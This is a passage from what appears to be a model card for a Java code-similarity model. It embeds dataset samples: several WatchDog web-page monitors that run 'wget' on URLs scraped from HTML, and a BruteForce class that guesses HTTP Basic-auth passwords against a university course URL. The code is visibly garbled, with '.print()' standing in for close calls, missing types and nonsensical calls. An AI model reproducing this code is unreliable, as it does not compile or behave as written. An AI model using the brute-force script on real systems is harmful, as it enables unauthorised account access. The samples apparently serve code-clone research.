 {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass-VAST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( 